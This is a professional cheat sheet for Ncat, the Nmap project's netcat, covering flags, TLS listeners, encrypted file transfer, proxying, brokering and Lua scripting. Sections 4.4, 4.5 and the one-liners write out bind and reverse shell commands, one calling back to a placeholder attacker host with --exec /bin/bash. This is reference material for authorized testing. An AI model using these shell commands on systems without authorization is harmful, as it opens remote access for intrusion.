Ncat — Professional Cheat Sheet

One-page professional reference for **Ncat (ncat)** — Nmap Project's improved Netcat: supports SSL/TLS, proxying, SOCKS, brokering, Lua scripting, and more. Commands, flags, examples, and operational notes for pentesters and network engineers.

---

1) At-a-glance

- **Tool:** `ncat` (part of Nmap) — modern netcat replacement with built-in TLS (`--ssl`), proxy support, connection brokering (`--broker`), and scripting via Lua.
- **Primary uses:** Encrypted ad-hoc channels, reliable file transfer, bind/reverse shells, SOCKS proxy, simple chat brokers, port forwarding, and scripted interactions.
- **Why use Ncat:** Cross-platform, actively maintained, supports secure transport and advanced features absent in traditional `netcat` builds.

---

2) Install / check

```
# Debian/Ubuntu/Kali
sudo apt update && sudo apt install ncat nmap

# Check version
ncat --version
```

Ncat ships with Nmap; installing `nmap` usually provides `ncat`.

---

3) Core flags (quick reference)

- `-l` : listen mode (server).
- `-p <port>` : local port to use (some builds accept directly after `-l`).
- `-k` : keep open (accept multiple connections sequentially or concurrently for some modes).
- `-v` / `-vv` : verbose.
- `-n` : numeric-only (no DNS lookups).
- `-u` : UDP mode.
- `--ssl` : enable SSL/TLS client/server.
- `--ssl-cert <file>` / `--ssl-key <file>` : certificate & private key for TLS server.
- `--ssl-verify` : verify peer cert (client mode).
- `--ssl-trustfile <file>` : client trust store file (PEM) for verification.
- `--proxy <host:port>` : use an HTTP proxy.
- `--proxy-type <http|socks4|socks5>` : proxy type.

- `--proxy-auth <user:pass>` : proxy credentials.
- `--sh-exec <command>` : execute shell command and attach its stdin/stdout to connection (safer than `-e`).
- `--exec <program>` : run program on connection (similar to `-e` in netcat-traditional).
- `--udp` : same as `-u` (explicit flag name in some builds).
- `--broker` : act as a simple message broker between clients.
- `--lua-exec <script.lua>` : execute a Lua script to handle connections.
- `--send-only` / `--recv-only` : one-way mode.
- `--keep-open` : accept multiple connects (alternate to `-k` on some versions).
- `--idle-timeout <seconds>` : close connections after idle.

Note: flag names may differ slightly by version; use `ncat --help` to verify.

---

4) Practical examples

4.1 Simple TCP listener / connect

```
# Server: listen
ncat -l -p 8080
# Client: connect
ncat target 8080
```

4.2 Encrypted TLS listener (server) and client

```
# Generate cert/key (example):
# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -
nodes -subj "/CN=example"

# Server: TLS
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -l -p 8443
# Client: TLS and verify
ncat --ssl --ssl-verify --ssl-trustfile cert.pem target 8443
```

4.3 Encrypted file transfer

```
# Receiver: listen with TLS and save file
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -l -p 4444 > received.bin
# Sender: connect and send file
ncat --ssl target 4444 < file.bin
```

4.4 Bind shell (server executes shell on connect)

```
# Target (bind shell) — WARNING: gives remote shell
ncat -l -p 5555 --exec "/bin/bash" --keep-open
# Attacker connects
ncat target 5555
```

4.5 Reverse shell (target connects back)

```
# Attacker: listen
ncat -l -p 4444 --keep-open
# Target: connect back and exec shell
ncat attacker_ip 4444 --exec "/bin/bash"
```

4.6 SOCKS proxy (client mode)

```
# Start local SOCKS proxy: ncat acting as a SOCKS proxy requires use of 'ncat --
proxy' to reach remote via proxy; ncat itself cannot serve as a full SOCKS
server.
# For simple proxying to a remote via HTTP proxy:
ncat --proxy 127.0.0.1:8080 --proxy-type http target 80
```

4.7 Connection broker (chat relay / simple hub)

```
# Start broker on port 9000
ncat --broker -l -p 9000
# Clients connect to broker and messages are relayed between all clients
ncat host 9000
```

4.8 Lua scripting (automate responses)

```
# Example: run a Lua script to process client connections
ncat --lua-exec handle.lua -l -p 1234
# Lua scripts can inspect, modify data, and control the connection lifecycle.
```

4.9 Use HTTP proxy for outbound connections

```
ncat --proxy 10.10.10.1:3128 --proxy-type http target 80
# With proxy auth
```

```
ncat --proxy 10.10.10.1:3128 --proxy-type http --proxy-auth 'user:pass' target
80
```

4.10 Simple relay / port forward (one-liner using two ncat processes)

```
# Forward local port 8080 to remote:80
mkfifo /tmp/f; ncat -l 8080 < /tmp/f | ncat remote 80 > /tmp/f
```

---

5) Advanced patterns & operational notes

- **Prefer** `--sh-exec` **or** `--exec` over legacy `-e` where available, but be mindful of shell quoting and privileges.
- **Use TLS** (`--ssl`) for confidentiality and `--ssl-verify` + `--ssl-trustfile` for basic server authentication.
- **Broker mode** is useful for simple team chat or relaying multiple clients without building a server.
- **Lua scripts** enable protocol-aware handling (e.g., implement simple HTTP responder, log requests, throttle connections).
- **Logging & rotation:** redirect connections to files and rotate; use `--idle-timeout` to avoid stale sessions.
- **Firewall/NAT:** for bind shells prefer reverse shells to traverse NAT (target connects out).
- **UDP mode:** use `-u` for datagram communication — stateful behaviors differ from TCP.

---

6) Troubleshooting & caveats

- **Certificate issues:** check `--ssl-trustfile`, certificate CN/SAN, and time validity.
- **Permissions:** binding privileged ports (<1024) or using cert files may require root.
- **Compatibility:** check `ncat --help` as flags sometimes differ between Nmap versions or builds.
- **Proxy support:** Ncat supports connecting *via* proxies but is not a full proxy server; use dedicated proxy servers for advanced proxying.

---

7) Security & OPSEC (PRO)

- Never run bind shells on Internet-facing hosts without strict controls.
- Use ephemeral certificates and rotate keys.
- Monitor for unauthorized `ncat` listeners — they are commonly abused as backdoors.
- When automating, avoid embedding secrets in scripts; use protected vaults or environment variables.

---

8) One-liners (copy-paste)

```
# TLS file receive
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -l -p 4444 > recv.bin

# TLS connect & send
ncat --ssl --ssl-verify --ssl-trustfile cert.pem host 4444 < send.bin

# Bind shell
ncat -l -p 2222 --exec "/bin/bash" --keep-open

# Broker chat
ncat --broker -l -p 9000

# Proxy via HTTP
ncat --proxy 127.0.0.1:8080 --proxy-type http target 80

# Lua script handler
ncat --lua-exec myscript.lua -l -p 1234
```

---

9) Alternatives & complements

- **Netcat (OpenBSD/traditional)** — lighter but less featureful.
- **socat** — very flexible stream multiplexer with TLS and proxying support.
- **ncat with stunnel/ssh** — combine with SSH or stunnel for advanced tunneling and authentication.

This cheat sheet is for authorized testing, diagnostics and secure ad-hoc communication. Only use `ncat` *on systems you own or are authorized to test.*